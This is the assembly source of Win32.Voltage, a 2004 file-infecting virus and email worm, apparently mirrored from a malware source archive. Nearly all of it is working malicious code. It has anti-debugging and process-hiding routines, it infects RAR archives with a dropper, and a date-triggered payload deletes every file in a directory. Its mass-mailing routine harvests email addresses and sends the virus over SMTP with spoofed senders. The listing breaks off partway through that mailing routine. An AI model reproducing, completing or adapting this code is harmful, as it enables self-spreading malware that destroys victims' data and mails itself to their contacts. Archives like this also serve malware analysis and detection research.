mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
4413 lines
97 KiB
NASM
4413 lines
97 KiB
NASM
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; I-Worm\Win32.Voltage by DR-EF (c) 2004,Version 2.2
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; --------------------------------------------------
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;
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; Virus Name:Win32.Voltage
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; Virus Size:22k
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; Type:PE\RAR Infector\Mail worm
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; Author:DR-EF
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;
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; Virus Features:
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; ---------------
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; - use the registry shell spawning technice to infect exe files
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; when they executed
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; - encrypted by 2 layers
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; - use EPO
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; - polymorphic engine can generate diffrent instructions for the
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; same action,mixed with junk code + using SEH to jump to host
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; - infect rar files by adding infected file\dropper
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; - anti debugging features
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;
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; Mail Worm Features:
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; -------------------
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; - 5 messages,subjects,filenames
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; - SMTP engine + base64 encoder
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; - collect mails from WAB & temporary internet files
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; - spoof mailfrom
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;
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; Fixed Bugs From Old Versions:
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; -----------------------------
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; - search kernel base with SEH walker instead of last stack method
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; - dont set code flag at last section,only read/write
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; - fixed bug with image size of infected files
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; - removed 1 section in the dropper (wvltg.exe)
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; - replaced the CheckFileName function
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.386
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.model flat
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extrn MessageBoxA:proc
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DEBUG equ 0 ;switch debug version on\off
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VirusSize equ (VirusEnd-_main)
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EncryptedVirus equ (EncryptedVirusEnd-(_main+EncryptionStart))
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.data
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db ?
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.code
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_main:
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mov esp,[esp + 8h]
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pop dword ptr fs:[0]
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add esp,0ch ;restore stack
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call DecryptVirus
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EncryptionStart equ ($-_main)
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mov esp,[esp + 8h] ;restore stack
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pop dword ptr fs:[0]
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add esp,4h
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VirusStart equ $
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call Delta
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Delta: pop ebp
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sub ebp,offset Delta
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call FindKernel
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jmp SearchGetProcAddress
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Wvltg_EntryPoint:
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call Delta_ ;get delta offset
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Delta_: pop ebp
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sub ebp,offset Delta_
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lea eax,[ebp + Exit_V]
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push eax
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pushad
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jmp VirusStart
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FindKernel: ;find kernel using SEH walker
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mov eax,fs:[0]
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search_last:
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mov edx,[eax]
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inc edx
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jz found_last
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dec edx
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xchg edx,eax
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jmp search_last
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found_last:
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mov eax,[eax+4]
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and eax,0ffff0000h
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search_mz:
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cmp word ptr [eax],'ZM'
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jz found_mz
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sub eax,10000h
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jmp search_mz
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found_mz:
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mov [ebp + kernel32base],eax
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ret
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kernel32base dd 0
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_GetProcAddress db "GetProcAddress",0
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__GetProcAddress dd 0
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ApiNamesTable:
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_CreateFile db "CreateFileA",0
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_CloseHandle db "CloseHandle",0
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_CreateFileMapping db "CreateFileMappingA",0
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_MapViewOfFile db "MapViewOfFile",0
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_UnmapViewOfFile db "UnmapViewOfFile",0
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_GetCommandLine db "GetCommandLineA",0
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_CreateProcess db "CreateProcessA",0
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_LoadLibrary db "LoadLibraryA",0
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_FreeLibrary db "FreeLibrary",0
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GetSystemDirectoryA db "GetSystemDirectoryA",0
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lstrcatA db "lstrcatA",0
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_GetModuleFileName db "GetModuleFileNameA",0
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_SetFileAttributesA db "SetFileAttributesA",0
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_GetStartupInfoA db "GetStartupInfoA",0
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_GetFileSize db "GetFileSize",0
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_SetFilePointer db "SetFilePointer",0
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_SetEndOfFile db "SetEndOfFile",0
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_GetTickCount db "GetTickCount",0
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_GlobalAlloc db "GlobalAlloc",0
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_GlobalFree db "GlobalFree",0
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_GetLocalTime db "GetLocalTime",0
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_GetFileAttributes db "GetFileAttributesA",0
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_GetFileTime db "GetFileTime",0
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_SetFileTime db "SetFileTime",0
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_DeleteFile db "DeleteFileA",0
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_CreateMutexA db "CreateMutexA",0
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_OpenMutexA db "OpenMutexA",0
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_FindFirstFileA db "FindFirstFileA",0
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_FindNextFileA db "FindNextFileA",0
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_SetCurrentDirectoryA db "SetCurrentDirectoryA",0
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_WriteFile db "WriteFile",0
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_FindClose db "FindClose",0
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_MultiByteToWideChar db "MultiByteToWideChar",0
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_ExitProcess db "ExitProcess",0
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ApiAddressTable:
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CreateFile dd 0
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CloseHandle dd 0
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CreateFileMapping dd 0
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MapViewOfFile dd 0
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UnMapViewOfFile dd 0
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GetCommandLine dd 0
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CreateProcess dd 0
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LoadLibrary dd 0
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FreeLibrary dd 0
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GetSystemDirectory dd 0
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lstrcat dd 0
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GetModuleFileName dd 0
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SetFileAttributes dd 0
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GetStartupInfo dd 0
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GetFileSize dd 0
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SetFilePointer dd 0
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SetEndOfFile dd 0
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GetTickCount dd 0
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GlobalAlloc dd 0
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GlobalFree dd 0
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GetLocalTime dd 0
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GetFileAttributes dd 0
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GetFileTime dd 0
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SetFileTime dd 0
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DeleteFile dd 0
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CreateMutex dd 0
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OpenMutex dd 0
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FindFirstFile dd 0
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FindNextFile dd 0
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SetCurrentDirectory dd 0
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WriteFile dd 0
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FindClose dd 0
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MultiByteToWideChar dd 0
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ExitProcess dd 0
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NumberOfApis equ 34
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SearchGetProcAddress:
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mov eax,[ebp + kernel32base]
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add eax,[eax + 3ch]
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mov eax,[eax + 78h]
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add eax,[ebp + kernel32base]
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;eax - kernel32 export table
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push eax
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xor edx,edx
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mov eax,[eax + 20h]
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add eax,[ebp + kernel32base]
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mov edi,[eax]
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add edi,[ebp + kernel32base]
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;edi - api names array
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dec edi
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nxt_cmp:inc edi
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lea esi,[ebp + _GetProcAddress]
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mov ecx,0eh
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rep cmpsb
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je search_address
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inc edx
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nxt_l: cmp byte ptr [edi],0h
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je nxt_cmp
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inc edi
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jmp nxt_l
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search_address:
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pop eax
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;eax - kernel32 export table
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;edx - GetProcAddress position
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shl edx,1h
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mov ebx,[eax + 24h]
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add ebx,[ebp + kernel32base]
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add ebx,edx
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mov dx,word ptr [ebx]
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shl edx,2h
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mov ebx,[eax + 1ch]
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add ebx,[ebp + kernel32base]
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add ebx,edx
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mov ebx,[ebx]
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add ebx,[ebp + kernel32base]
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mov [ebp + __GetProcAddress],ebx
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mov ecx,NumberOfApis
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lea eax,[ebp + ApiNamesTable]
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lea ebx,[ebp + ApiAddressTable]
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mov edx,[ebp + kernel32base]
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call get_apis
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jc Do_Virus_Actions
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jmp ReturnToHost
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Do_Virus_Actions:
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pushad
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lea eax,[ebp + AntiDebug]
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push eax
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xor eax,eax
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push dword ptr fs:[eax]
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mov fs:[eax],esp
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mov [eax],ebx ;force debugger to jump
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AntiDebug:
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mov esp,[esp + 8h]
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pop dword ptr fs:[0]
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add esp,4h
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popad
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call CrashDebuggers ;now if we under debugger we simple crash
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call GetADVAPI32Apis
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jnc ReturnToHost
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call GetUser32Apis ;used for debug and payload
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jnc ReturnToHost
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call AntiLamers
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call HideVirus
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call ProcessCommandLine
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cmp byte ptr [ebp + RunFromExeHooker],1h ;we run from virus exe hooker ?
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je ExecuteAndInfectFile
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call InstallVirus
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jmp ReturnToHost
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ExecuteAndInfectFile:
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mov byte ptr [ebp + Infection_Success],0h
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call InfectFile
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call InstallVirus
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call PayLoad
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call ExecuteFile
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call MassMail
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lea eax,[ebp + FileDirectory]
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call ScanDirectoryForRarFiles
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ReturnToHost:
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cmp byte ptr [ebp + RunFromExeHooker],1h
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jne RetHost
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Exit_V:
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push eax ;if we running from virus exe hooker
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call [ebp + ExitProcess] ;we simple exit
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RetHost:popad
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db 64h,0a1h,0,0,0,0 ;mov eax,fs:[00000000]
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dec ebx
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ret
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CopyRight db "Win32.Voltage Virus Written By DR-EF (c) 2004",0
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SizeOfCopyRight equ ($-CopyRight)
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AntiLamers:
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lea edx,[ebp + CopyRight] ;)
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mov ecx,SizeOfCopyRight
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xor eax,eax
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call xcrc32
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cmp eax,0C3F9A421h
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je NoRip
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xor esp,esp
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NoRip: ret
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GetUser32Apis:
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lea eax,[ebp + User32dll]
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push eax
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call [ebp + LoadLibrary]
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xchg eax,edx
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mov ecx,NumberOfUser32Functions
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lea eax,[ebp + user32_functions_sz]
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lea ebx,[ebp + user32_functions_addresses]
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call get_apis
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ret
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User32dll db "User32.dll",0
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user32_functions_sz:
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_MessageBox db "MessageBoxA",0
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_SetWindowTextA db "SetWindowTextA",0
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user32_functions_addresses:
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MessageBox dd 0
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SetWindowText dd 0
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NumberOfUser32Functions equ 2
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CrashDebuggers:
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lea eax,[ebp + _IsDebuggerPresent]
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push eax
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push [ebp + kernel32base]
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call [ebp + __GetProcAddress]
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cmp eax,0h
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je NoIDP
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call eax
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cmp eax,0h
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je NoIDP
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xor esp,esp ;hang debuggers
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NoIDP: ret
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_IsDebuggerPresent db "IsDebuggerPresent",0
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;eax - pointer to directory name:
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ScanDirectoryForRarFiles:
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push eax
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call [ebp + SetCurrentDirectory]
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cmp eax,INVALID_HANDLE_VALUE
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je ExitRarScan
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lea eax,[ebp + WIN32_FIND_DATA]
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push eax
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lea eax,[ebp + RarFiles]
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push eax
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call [ebp + FindFirstFile]
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cmp eax,INVALID_HANDLE_VALUE
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je ExitRarScan
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mov [ebp + hfind],eax ;save search handle
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@rar: call InfectRar
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lea eax,[ebp + WIN32_FIND_DATA]
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push eax
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push dword ptr [ebp + hfind]
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call [ebp + FindNextFile]
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cmp eax,0h
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jne @rar
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ExitRarScan:
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ret
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RarFiles db "*.rar",0
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;rar archive infection procedure:
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;tested with rar archive's that created using winrar v3.20
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InfectRar:
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call InitRandomNumber
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cmp [ebp + nFileSizeLow],300000h
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ja ExitRarInfection ;do not infect files that are bigger than 3mb
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cmp byte ptr [ebp + Infection_Success],0h
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je usewvltg
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xor ecx,ecx
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lea esi,[ebp + FileToInfect]
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GetLen: cmp byte ptr [esi],0h
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je CopyPth
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inc ecx
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inc esi
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jmp GetLen
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CopyPth:inc ecx
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lea esi,[ebp + FileToInfect]
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lea edi,[ebp + InfectedDropper] ;use infected file
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rep movsb
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jmp OpenDropper
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usewvltg:
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push 0ffh
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lea eax,[ebp + InfectedDropper]
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push eax
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push 0h
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call [ebp + GetModuleFileName] ;use virus dropper
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cmp eax,0h
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je ExitRarInfection
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OpenDropper:
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xor eax,eax
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push eax
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push eax
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push OPEN_EXISTING
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push eax
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push FILE_SHARE_READ
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||
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push GENERIC_READ
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||
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lea eax,[ebp + InfectedDropper]
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||
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push eax
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||
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call [ebp + CreateFile] ;open the infected dropper
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||
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cmp eax,INVALID_HANDLE_VALUE
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||
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je ExitRarInfection
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||
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mov [ebp + hInfectedDropper],eax
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||
|
|
push 0h
|
||
|
|
push eax
|
||
|
|
call [ebp + GetFileSize] ;get dropper file size
|
||
|
|
cmp eax,0ffffffffh
|
||
|
|
je ExitAndCloseDropperFile
|
||
|
|
mov [ebp + DropperSize],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push PAGE_READONLY
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hInfectedDropper]
|
||
|
|
call [ebp + CreateFileMapping] ;create file mapping object for the dropper
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitAndCloseDropperFile
|
||
|
|
mov [ebp + hDropperMap],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_READ
|
||
|
|
push dword ptr [ebp + hDropperMap]
|
||
|
|
call [ebp + MapViewOfFile] ;map dropper into memory
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitAndCloseDropperMap
|
||
|
|
mov [ebp + DropperMap],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push OPEN_EXISTING
|
||
|
|
push eax
|
||
|
|
push FILE_SHARE_READ
|
||
|
|
push GENERIC_READ or GENERIC_WRITE
|
||
|
|
lea eax,[ebp + cFileName]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateFile] ;open rar file
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je ExitAndUnMapDropper
|
||
|
|
mov [ebp + hRarFile],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
mov eax,[ebp + nFileSizeLow]
|
||
|
|
add eax,[ebp + DropperSize]
|
||
|
|
add eax,RarHeaderSize
|
||
|
|
sub eax,7h ;overwrite rar file sign
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push PAGE_READWRITE
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hRarFile]
|
||
|
|
call [ebp + CreateFileMapping] ;create file mapping object of the rar file
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitAndCloseRarFile
|
||
|
|
mov [ebp + hRarMap],eax
|
||
|
|
mov eax,[ebp + nFileSizeLow]
|
||
|
|
add eax,[ebp + DropperSize]
|
||
|
|
add eax,RarHeaderSize
|
||
|
|
sub eax,7h ;overwrite rar file sign
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_WRITE
|
||
|
|
push dword ptr [ebp + hRarMap]
|
||
|
|
call [ebp + MapViewOfFile]
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitAndCloseRarMap
|
||
|
|
mov [ebp + RarMap],eax
|
||
|
|
cmp dword ptr [eax],"!raR" ;is rar file ?
|
||
|
|
jne RarFileInfectionErr
|
||
|
|
cmp byte ptr [eax + 0fh],1h ;is already infected ?
|
||
|
|
je RarFileInfectionErr
|
||
|
|
xor eax,eax
|
||
|
|
mov edx,[ebp + DropperMap]
|
||
|
|
mov ecx,[ebp + DropperSize]
|
||
|
|
call xcrc32 ;get infected dropper crc32 checksum
|
||
|
|
mov dword ptr [ebp + FILE_CRC],eax ;set it insaid rar header
|
||
|
|
mov eax,dword ptr [ebp + ftCreationTime + 4]
|
||
|
|
mov dword ptr [ebp + FTIME],eax ;set random time\data
|
||
|
|
pushad
|
||
|
|
mov ecx,6h
|
||
|
|
lea edi,[ebp + FileInsaidRar]
|
||
|
|
@RandLetter:
|
||
|
|
call GenRandomNumber
|
||
|
|
and al,19h
|
||
|
|
add al,61h
|
||
|
|
stosb
|
||
|
|
loop @RandLetter ;gen random name for the infected dropper
|
||
|
|
popad
|
||
|
|
mov eax,[ebp + DropperSize]
|
||
|
|
mov [ebp + PACK_SIZE],eax
|
||
|
|
mov [ebp + UNP_SIZE],eax ;set dropper size insaid of rar header
|
||
|
|
xor eax,eax
|
||
|
|
lea edx,[ebp + headcrc]
|
||
|
|
mov ecx,(EndRarHeader-RarHeader-2)
|
||
|
|
call xcrc32 ;get crc32 checksum of the rar header
|
||
|
|
mov word ptr [ebp + HEAD_CRC],ax ;and set it in rar header
|
||
|
|
lea esi,[ebp + RarHeader]
|
||
|
|
mov edi,[ebp + RarMap]
|
||
|
|
add edi,[ebp + nFileSizeLow]
|
||
|
|
sub edi,7h ;overwrite rar file sign
|
||
|
|
push edi
|
||
|
|
mov ecx,RarHeaderSize
|
||
|
|
rep movsb ;write the rar header into rar file
|
||
|
|
mov esi,[ebp + DropperMap]
|
||
|
|
pop edi
|
||
|
|
add edi,RarHeaderSize
|
||
|
|
mov ecx,[ebp + DropperSize]
|
||
|
|
rep movsb ;write the infected dropper into rar file
|
||
|
|
mov eax,[ebp + RarMap]
|
||
|
|
push eax
|
||
|
|
inc byte ptr [eax + 0fh] ;mark the rar file as infected(0fh=reserved1)
|
||
|
|
mov edx,eax
|
||
|
|
xor eax,eax
|
||
|
|
add edx,9h
|
||
|
|
mov ecx,0bh
|
||
|
|
call xcrc32 ;get crc32 of the rar main header
|
||
|
|
pop ebx
|
||
|
|
mov word ptr [ebx + 7h],ax ;[ebx + 7h]=HEAD_CRC
|
||
|
|
ExitAndUnMapRarFile:
|
||
|
|
push [ebp + RarMap]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
ExitAndCloseRarMap:
|
||
|
|
push dword ptr [ebp + hRarMap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ExitAndCloseRarFile:
|
||
|
|
push dword ptr [ebp + hRarFile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ExitAndUnMapDropper:
|
||
|
|
push dword ptr [ebp + DropperMap]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
ExitAndCloseDropperMap:
|
||
|
|
push dword ptr [ebp + hDropperMap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ExitAndCloseDropperFile:
|
||
|
|
push dword ptr [ebp + hInfectedDropper]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ExitRarInfection:
|
||
|
|
ret
|
||
|
|
RarFileInfectionErr:
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push dword ptr [ebp + nFileSizeLow]
|
||
|
|
push dword ptr [ebp + hRarFile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
push dword ptr [ebp + hRarFile]
|
||
|
|
call [ebp + SetEndOfFile]
|
||
|
|
jmp ExitAndUnMapRarFile
|
||
|
|
|
||
|
|
|
||
|
|
InfectedDropper db 0ffh dup(0)
|
||
|
|
hInfectedDropper dd 0
|
||
|
|
DropperSize dd 0
|
||
|
|
hDropperMap dd 0
|
||
|
|
DropperMap dd 0
|
||
|
|
hRarFile dd 0
|
||
|
|
hRarMap dd 0
|
||
|
|
RarMap dd 0
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
RarHeader:
|
||
|
|
HEAD_CRC dw 0h
|
||
|
|
headcrc:HEAD_TYPE db 74h
|
||
|
|
HEAD_FLAGS dw 8000h ;normal flag
|
||
|
|
HEAD_SIZE dw RarHeaderSize
|
||
|
|
PACK_SIZE dd 0h
|
||
|
|
UNP_SIZE dd 0h
|
||
|
|
HOST_OS db 0h ;Ms-Dos
|
||
|
|
FILE_CRC dd 0h
|
||
|
|
FTIME dd 0h
|
||
|
|
UNP_VER db 14h
|
||
|
|
METHOD db 30h ;storing
|
||
|
|
NAME_SIZE dw 0ah ;file name size
|
||
|
|
endhcrc:ATTR dd 0h
|
||
|
|
FileInsaidRar equ $
|
||
|
|
FILE_NAME db "ReadMe.exe"
|
||
|
|
EndRarHeader:
|
||
|
|
RarHeaderSize equ ($-RarHeader)
|
||
|
|
|
||
|
|
|
||
|
|
;(c) z0mbie/29a crc32 function
|
||
|
|
; input: EDX=data, ECX=size, EAX=crc
|
||
|
|
; output: EAX=crc, EDX+=ECX, ECX=BL=0
|
||
|
|
xcrc32: jecxz @@4
|
||
|
|
not eax
|
||
|
|
@@1: xor al, [edx]
|
||
|
|
inc edx
|
||
|
|
mov bl, 8
|
||
|
|
@@2: shr eax, 1
|
||
|
|
jnc @@3
|
||
|
|
xor eax, 0EDB88320h
|
||
|
|
@@3: dec bl
|
||
|
|
jnz @@2
|
||
|
|
loop @@1
|
||
|
|
not eax
|
||
|
|
@@4: ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
HideVirus: ;hide virus process from alt+crtl+del menu
|
||
|
|
lea eax,[ebp + RSP]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + kernel32base]
|
||
|
|
call [ebp + __GetProcAddress]
|
||
|
|
cmp eax,0h
|
||
|
|
je ExitRSP
|
||
|
|
push 1
|
||
|
|
push 0
|
||
|
|
call eax
|
||
|
|
ExitRSP:ret
|
||
|
|
|
||
|
|
RSP db "RegisterServiceProcess",0
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
PayLoad:
|
||
|
|
lea eax,[ebp + SYSTEMTIME]
|
||
|
|
push eax
|
||
|
|
call [ebp + GetLocalTime]
|
||
|
|
cmp word ptr [ebp + wMonth],0ch
|
||
|
|
jne ExitPayload
|
||
|
|
cmp word ptr [ebp + wDay],1eh
|
||
|
|
jne Payload2
|
||
|
|
;replace all windows title with copyright message
|
||
|
|
mov ecx,0ffffh
|
||
|
|
payl0ad:push ecx
|
||
|
|
lea eax,[ebp + CopyRight]
|
||
|
|
push eax
|
||
|
|
push ecx
|
||
|
|
call [ebp + SetWindowText]
|
||
|
|
pop ecx
|
||
|
|
loop payl0ad
|
||
|
|
;show payload message box:
|
||
|
|
push MB_SYSTEMMODAL or MB_ICONINFORMATION
|
||
|
|
lea eax,[ebp + CopyRight]
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + MessageBox]
|
||
|
|
Payload2:
|
||
|
|
;fuck ppl data
|
||
|
|
cmp word ptr [ebp + wDay],1dh
|
||
|
|
jne ExitPayload
|
||
|
|
lea eax,[ebp + FileDirectory]
|
||
|
|
push eax
|
||
|
|
call [ebp + SetCurrentDirectory] ;goto running program directory
|
||
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + search_mask]
|
||
|
|
push eax
|
||
|
|
call [ebp + FindFirstFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je ExitPayload
|
||
|
|
mov [ebp + hfind],eax ;save search handle
|
||
|
|
@Love:
|
||
|
|
IF DEBUG
|
||
|
|
push MB_YESNO
|
||
|
|
lea eax,[ebp + warning2]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + cFileName]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + MessageBox]
|
||
|
|
cmp eax,IDYES
|
||
|
|
jne SkipFile
|
||
|
|
ENDIF
|
||
|
|
lea eax,[ebp + cFileName]
|
||
|
|
push eax
|
||
|
|
call [ebp + DeleteFile]
|
||
|
|
SkipFile:
|
||
|
|
IF DEBUG
|
||
|
|
push MB_YESNO
|
||
|
|
lea eax,[ebp + StopPayload]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + cFileName]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + MessageBox]
|
||
|
|
cmp eax,IDYES
|
||
|
|
je ExitPayload
|
||
|
|
ENDIF
|
||
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hfind]
|
||
|
|
call [ebp + FindNextFile]
|
||
|
|
cmp eax,0h
|
||
|
|
jne @Love
|
||
|
|
ExitPayload:
|
||
|
|
ret
|
||
|
|
|
||
|
|
MB_SYSTEMMODAL equ 00001000h
|
||
|
|
MB_ICONINFORMATION equ 00000040h
|
||
|
|
|
||
|
|
IF DEBUG
|
||
|
|
warning2 db "Voltage Virus is going to delete this file:",0
|
||
|
|
StopPayload db "Stop Payload ?",0
|
||
|
|
ENDIF
|
||
|
|
|
||
|
|
hfind dd 0
|
||
|
|
search_mask db "*.*",0
|
||
|
|
|
||
|
|
|
||
|
|
WIN32_FIND_DATA:
|
||
|
|
dwFileAttributes dd 0
|
||
|
|
ftCreationTime dq 0
|
||
|
|
ftLastAccessTime dq 0
|
||
|
|
ftLastWriteTime dq 0
|
||
|
|
nFileSizeHigh dd 0
|
||
|
|
nFileSizeLow dd 0
|
||
|
|
dwReserved0 dd 0
|
||
|
|
dwReserved1 dd 0
|
||
|
|
cFileName db 0ffh dup (0)
|
||
|
|
cAlternateFileName db 14 dup (0)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
GetADVAPI32Apis:
|
||
|
|
lea eax,[ebp + ADVAPI32dll]
|
||
|
|
push eax
|
||
|
|
call [ebp + LoadLibrary]
|
||
|
|
xchg eax,edx
|
||
|
|
mov ecx,NumberOfRegFunctions
|
||
|
|
lea eax,[ebp + reg_functions_sz]
|
||
|
|
lea ebx,[ebp + reg_function_addresses]
|
||
|
|
call get_apis
|
||
|
|
ret
|
||
|
|
|
||
|
|
ADVAPI32dll db "ADVAPI32.DLL",0
|
||
|
|
|
||
|
|
reg_functions_sz:
|
||
|
|
|
||
|
|
_RegOpenKeyExA db "RegOpenKeyExA",0
|
||
|
|
_RegSetValueExA db "RegSetValueExA",0
|
||
|
|
_RegCloseKey db "RegCloseKey",0
|
||
|
|
_RegQueryValueEx db "RegQueryValueExA",0
|
||
|
|
|
||
|
|
reg_function_addresses:
|
||
|
|
|
||
|
|
RegOpenKeyEx dd 0
|
||
|
|
RegSetValueEx dd 0
|
||
|
|
RegCloseKey dd 0
|
||
|
|
RegQueryValueEx dd 0
|
||
|
|
|
||
|
|
NumberOfRegFunctions equ 4
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
MassMail:
|
||
|
|
;send the virus to all email addresses that the virus
|
||
|
|
;found in the Windows address book file.and temporary
|
||
|
|
;internet files
|
||
|
|
pushad ;set SEH
|
||
|
|
lea eax,[ebp + MM_SEH_Handler]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push dword ptr fs:[eax]
|
||
|
|
mov fs:[eax],esp
|
||
|
|
call CheckConditions ;check for some conditions before sending mails
|
||
|
|
jnc ExitMM
|
||
|
|
call AllowOnlyOneRun ;use mutex to alow only one execute of the mail
|
||
|
|
jnc ExitMM ;worm
|
||
|
|
call GetWinsockApis ;get all needed apis from winsock library
|
||
|
|
jnc ExitMM
|
||
|
|
call GetSMTPServer ;get the default smtp server from the registry
|
||
|
|
jnc FreeWSLibraryAndExit
|
||
|
|
call CreateVirusBase64Image ;base64 encode of infected file
|
||
|
|
jnc FreeWSLibraryAndExit
|
||
|
|
call ScanWAB ;get email addresses from the windows address book
|
||
|
|
call SearchEmailsInHTMFiles ;and also from temporary internet files
|
||
|
|
call ConnectToServer ;connect to server
|
||
|
|
jnc FreeBase64Mem
|
||
|
|
call [ebp + GetTickCount]
|
||
|
|
mov [ebp + MessageNumber],al ;select random message
|
||
|
|
call __recv ;recv server message:
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
cmp eax,0h
|
||
|
|
je Disconnect
|
||
|
|
lea eax,[ebp + GetBuffer]
|
||
|
|
cmp dword ptr [eax]," 022" ;is 220 ?
|
||
|
|
jne Disconnect
|
||
|
|
;send HELO command:
|
||
|
|
push 0h
|
||
|
|
push SizeOfHELO
|
||
|
|
lea eax,[ebp + HELO]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
call __recv ;get server message
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
cmp eax,0h
|
||
|
|
je Disconnect
|
||
|
|
lea eax,[ebp + GetBuffer]
|
||
|
|
cmp dword ptr [eax]," 052" ;is 250 ?
|
||
|
|
jne Disconnect
|
||
|
|
;send the mail from command:
|
||
|
|
push 0h
|
||
|
|
cmp byte ptr [ebp + MessageNumber],32h
|
||
|
|
ja mfrom
|
||
|
|
push SizeOfMailFrom1
|
||
|
|
lea eax,[ebp + MAILFROM1]
|
||
|
|
push eax
|
||
|
|
jmp mfromok
|
||
|
|
mfrom: cmp byte ptr [ebp + MessageNumber],64h
|
||
|
|
ja mfrom2
|
||
|
|
push SizeOfMailFrom2
|
||
|
|
lea eax,[ebp + MAILFROM2]
|
||
|
|
push eax
|
||
|
|
jmp mfromok
|
||
|
|
mfrom2: cmp byte ptr [ebp + MessageNumber],96h
|
||
|
|
ja mfrom3
|
||
|
|
push SizeOfMailFrom3
|
||
|
|
lea eax,[ebp + MAILFROM3]
|
||
|
|
push eax
|
||
|
|
jmp mfromok
|
||
|
|
mfrom3: cmp byte ptr [ebp + MessageNumber],0c8h
|
||
|
|
ja mfrom4
|
||
|
|
push SizeOfMailFrom4
|
||
|
|
lea eax,[ebp + MAILFROM4]
|
||
|
|
push eax
|
||
|
|
jmp mfromok
|
||
|
|
mfrom4: push SizeOfMailFrom5
|
||
|
|
lea eax,[ebp + MAILFROM5]
|
||
|
|
push eax
|
||
|
|
mfromok:push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send]
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
call __recv ;get server message:
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je Disconnect
|
||
|
|
cmp eax,0h
|
||
|
|
je Disconnect
|
||
|
|
lea eax,[ebp + GetBuffer]
|
||
|
|
cmp dword ptr [eax]," 052" ;is 250 ?
|
||
|
|
jne Disconnect
|
||
|
|
;send RCPT command
|
||
|
|
xor ecx,ecx
|
||
|
|
mov esi,[ebp + hMailAddresses]
|
||
|
|
mov cx,[ebp + NumberOfMailAddresses]
|
||
|
|
cmp ecx,1h
|
||
|
|
jbe MailsFromFiles
|
||
|
|
@NxtAdd:push ecx
|
||
|
|
push 0h
|
||
|
|
push SizeOfRcpt
|
||
|
|
lea edx,[ebp + RCPT]
|
||
|
|
push edx
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send] ;send start of RCPT command
|
||
|
|
push esi
|
||
|
|
xor ecx,ecx
|
||
|
|
AddSize:inc ecx ;get email address size
|
||
|
|
inc esi
|
||
|
|
cmp byte ptr [esi],0h
|
||
|
|
jne AddSize
|
||
|
|
pop esi ;pointer to email addresses array
|
||
|
|
push 0h
|
||
|
|
push ecx
|
||
|
|
push esi
|
||
|
|
add esi,ecx ;move to next address
|
||
|
|
inc esi
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send] ;send address
|
||
|
|
push 0h
|
||
|
|
push SizeOfEndRcpt
|
||
|
|
lea eax,[ebp + EndOfRCPT]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + send] ;send the end or rcpt command
|
||
|
|
call __recv ;get server message
|
||
|
|
pop ecx
|
||
|
|
loop @NxtAdd ;and move to next mail address
|
||
|
|
MailsFromFiles: ;send mails to ppl that we found in temporary internet files
|
||
|
|
cmp word ptr [ebp + NumberOfEmails],28h
|
||
|
|
jb _1___ ;is number of mails > 40 ?
|
||
|
|
mov [ebp + NumberOfEmails],1eh ;send 30 emails
|
||
|
|
_1___: xor ecx,ecx
|
||
|
|
mov cx,[ebp + NumberOfEmails] ;number of mails
|
||
|
|
